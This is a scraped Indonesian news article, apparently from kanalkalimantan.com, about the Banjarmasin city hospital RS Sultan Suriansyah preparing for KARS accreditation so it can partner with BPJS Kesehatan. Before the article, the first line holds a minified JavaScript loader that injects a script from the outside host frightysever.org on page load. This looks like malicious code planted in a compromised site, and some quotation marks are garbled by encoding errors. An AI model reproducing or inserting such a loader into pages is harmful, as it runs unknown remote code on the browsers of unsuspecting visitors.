(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Setelah diresmikan beberapa waktu lalu, RS Sultan Suriansyah kini tengah menyiapkan akreditasi rumah sakit oleh Komisi Akreditasi Rumah Sakit (KARS). Penilaian akan berlagsung pada minggu ketiga Desember 2019 mendatang.
Hal ini disampaikan Kepala Dinas Kesehatan Kota Banjarmasin Machli Riyadi di Balaikota Banjarmasin, Jum’at (8/11) siang.
“Akreditasi diharapkan agar bisa bekerjasama dengan BPJS. Kalau kita sudah bekerjasama dengan BPJS, maka RS Sultan Suriansyah bisa melayani pasien miskin,†kata Machli.
Machli menjabarkan, proses akreditasi berjalan selama tiga hari. Usai akreditasi, KARS menggelar rapat di akhir bulan dan diharapkan hasil akreditasi dapat dirilis oleh KARS selama 15 hari.
“Harapan kita, akhir tahun bisa bekerjasama dengan BPJS Kesehatan, karena persyaratan agar bekerjasama dengan BPJS harus melakukan akreditasi,†papar Machli.
Apakah ada kendala untuk menghadapi akreditasi? “Kendala sejauh ini tidak ada,†tegasnya. “Semua fasilitas yang kita miliki sebagai rumah sakit standar Kelas C sudah memenuhi syarat,†katanya. Karena telah memenuhi standar rumah sakit Kelas C, maka RS Sultan Suriansyah harus melakukan tahapan akreditasi.
“Sesudah diakreditasi, tahapan selanjutnya adalah bekerjasama dengan BPJS Kesehatan. Untuk persiapan akreditasi sendiri sudah berjalan, sudah dibentuk tim akreditasi dan penandatanganan komitmen,†tambahnya.
Ditanya soal antisipasi jikalau BPJS Kesehatan menunggak pembayaran seperti yang terjadi baru-baru tadi, Machli menyebut pihaknya akan melakukan antisipasi dengan bekerjasama dengan perbankan. “Kita sudah melakukan kerjasama dengan pihak bank yang siap menopang dan menalangi. Sehingga diharapkan, tidak ada kendala operasional RS, apalagi ini RS pemerintah,†jelasnya. Apalagi, suku bunga dari bank lebih rendah daripada bunga yang mana BPJS Kesehatan terlambat membayar.
Saat ini, terdapat 30 tempat tidur dan akan bertambah sebanyak 130 tempat tidur jika pembangunan RS sudah final. “Tahun depan sudah ada tambahan, diprediksi bulan Maret sudah tersedia,†katanya. Selain itu, di RS ini juga terdapat 25 dokter spesialis.
Sejak diresmikan, tingkat kunjungan ke RS Sultan Suriansyah trennya cukup naik, dan tentu hal ini membuat Machli cukup senang. “Walaupun yang datang bukan peserta BPJS akan tetapi pasien umum, tetapi mereka merasa nyaman dengan RS kita,†klaimnya. (fikri)
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.